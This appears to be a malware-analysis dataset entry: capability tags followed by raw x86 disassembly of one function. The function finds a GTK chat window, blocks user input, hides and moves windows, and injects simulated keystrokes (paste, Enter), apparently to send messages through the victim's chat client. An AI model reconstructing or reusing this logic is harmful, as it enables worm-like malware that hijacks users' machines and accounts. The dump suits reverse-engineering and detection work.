Function at 0x404cb0
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x3c8
mov eax, dword [0x4151a8]
mov dword [esp + 0x3c4], eax
mov eax, dword [0x41738c]
push ebx
inc eax
push ebp
mov dword [0x41738c], eax
lea eax, [esp + 0x1c8]
push 0x416600
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 8
xor ebp, ebp
push ebp
push str.gdkWindowToplevel
mov byte [0x417390], 0
call ebx
cmp eax, ebp
je 0x4050ad
lea ecx, [esp + 0x14]
push ecx
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x4050ad
push esi
push eax
push ebp
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebp
je 0x405093
push 0x104
lea edx, [esp + 0x2d0]
push edx
push ebp
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x2cc]
push eax
call fcn.00401d50
add esp, 4
test al, al
je 0x40508c
push edi
push 1
call sub.USER32.dll_BlockInput
push 0x412084
push 2
call fcn.00401ff0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x64
call edi
push ebp
push str.gdkWindowToplevel
call ebx
mov ebx, eax
cmp ebx, ebp
je 0x40508b
lea ecx, [esp + 0x24]
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x2bc
push 0x2bc
push ebp
push 0x1388
push ebx
call dword [sym.imp.USER32.dll_MoveWindow]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
push 0x64
call edi
mov esi, dword [sym.imp.USER32.dll_keybd_event]
jmp 0x404de0
push 0
push 0
push 0
push 0x25
call esi
push 0
push 0
push 0
push 0x26
call esi
xor edx, edx
mov eax, ebp
mov ecx, 5
div ecx
test edx, edx
jne 0x404e07
push 1
call edi
inc ebp
cmp ebp, 0x1f4
jl 0x404de0
push 0x1f4
call edi
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov byte [esp + 0x13], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
cmp ebp, ebx
je 0x404e40
test ebp, ebp
jne 0x404e58
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x20]
sub eax, 0x12c
cmp ecx, eax
jae 0x404e30
jmp 0x404f88
push 0
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x14
lea edx, [esp + 0xa0]
push edx
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [esp + 0x9c]
push str.gdkWindowToplevel
push eax
call fcn.00401d00
add esp, 8
cmp al, 1
jne 0x404f62
lea ecx, [esp + 0x24]
push ecx
push ebp
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x14
lea edx, [esp + 0x38]
push edx
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jle 0x404f62
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.00401d00
add esp, 8
test al, al
jne 0x404f62
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x6c]
push ecx
call ebp
lea edx, [esp + 0x1d8]
push edx
lea eax, [esp + 0xdc]
push 0x411c6c
push eax
call ebp
lea ecx, [esp + 0xe4]
push ecx
call fcn.004015e0
lea edx, [esp + 0xe8]
push 0
push edx
call fcn.00401f40
add esp, 0x20
push 0x32
call edi
push 0
push 1
push 0
push 0x11
call esi
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call esi
push 0
push 3
push 0x2d
push 0x11
call esi
push 0
push 0
push 0
push 0xd
call esi
push 0x32
call edi
push 0x1f4
mov byte [esp + 0x17], 1
call edi
push 0
push 1
push 0
push 0x12
call esi
push 0
push 0
push 0
push 0x73
call esi
push 0
push 3
push 0x2d
push 0x12
call esi
mov al, byte [esp + 0x13]
test al, al
jne 0x404f9d
cmp dword [esp + 0x18], 5
jl 0x404f99
mov dword [esp + 0x14], 0x1f4
jmp 0x404ff1
inc dword [esp + 0x18]
cmp dword [esp + 0x14], 0x1f4
jge 0x404ff1
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push 0
push 0
push 0x27
call esi
push 0xa
call edi
push 0
push 0
push 0
push 0x28
call esi
push 0xa
call edi
push 0
push 0
push 0
push 0x27
call esi
push 0xa
call edi
push 0
push 0
push 0
push 0xd
call esi
push 0xa
call edi
push 0xa
call edi
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x1f4
mov dword [esp + 0x14], eax
jl 0x404e21
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
xor ebp, ebp
push 0
push 0
push 0
push 0x25
call esi
push 0
push 0
push 0
push 0x26
call esi
xor edx, edx
mov eax, ebp
mov ecx, 5
div ecx
test edx, edx
jne 0x40503c
push 1
call edi
inc ebp
cmp ebp, 0x1f4
jl 0x405015
push 1
call edi
push 0
push 0
push 0
push 0x27
call esi
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x30]
push 1
sub edx, eax
push edx
push 0xfa
push eax
mov eax, dword [esp + 0x34]
push eax
push ebx
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
push 0
call sub.USER32.dll_BlockInput
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x3c4]
call fcn.004088de
add esp, 0x3c8
ret 4
mov ecx, dword [esp + 0x3cc]
pop ebp
xor eax, eax
pop ebx
call fcn.004088de
add esp, 0x3c8
ret 4